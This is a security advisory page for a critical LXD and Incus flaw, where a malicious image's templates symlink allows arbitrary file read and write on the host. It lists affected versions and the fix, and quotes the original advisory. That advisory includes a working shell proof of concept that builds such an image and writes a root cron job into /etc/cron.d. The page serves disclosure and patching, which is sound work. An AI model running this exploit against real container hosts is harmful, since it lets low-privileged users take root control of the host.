CRITICAL · CVSS 3.1 9.9 CWE-73

GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Published 2026-11-06 · Updated 2026-11-23 · Also known as GO-2026-6930

Summary

LXD contains an arbitrary file read and write vulnerability on the host via a malicious image containing a top-level templates symlink. Engineering and security teams managing LXD deployments should review and update affected systems.

Who is affected

Affected deployments of LXD process container images insecurely when extracting archives, failing to reject a top-level templates symlink. This allows a malicious actor with low privileges to access arbitrary directories and edit arbitrary files on the host, potentially leading to arbitrary command execution such as writing a malicious cron job.

Exploitability

The vulnerability is rated CRITICAL with a CVSS 3.1 base score of 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H), indicating network-adjacent or network accessibility with low privileges and no user interaction required. EPSS is not yet available, and CISA KEV status is no.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-25. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
Go github.com/canonical/lxd >= 0, < 0.0.0-20260203144152-d1c8ba15d160 0.0.0-20260203144152-d1c8ba15d160 go get github.com/canonical/[email protected]

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vectorNetwork
Attack complexityLow
Privileges requiredLow
User interactionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

FAQ

What causes the vulnerability?

The tar extraction path in shared/archive/archive.go excludes device nodes but fails to reject a top-level templates symlink within container images.

What is the impact of this vulnerability?

It allows arbitrary file read and write on the host system, which can be leveraged to achieve arbitrary command execution.

Is there an official fix available?

Yes, the issue is fixed in github.com/canonical/lxd version 0.0.0-20260203144152-d1c8ba15d160.

Original advisory description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

References

Source records: GHSA-jpf8-86f3-wp38, GO-2026-6930 (OSV.dev).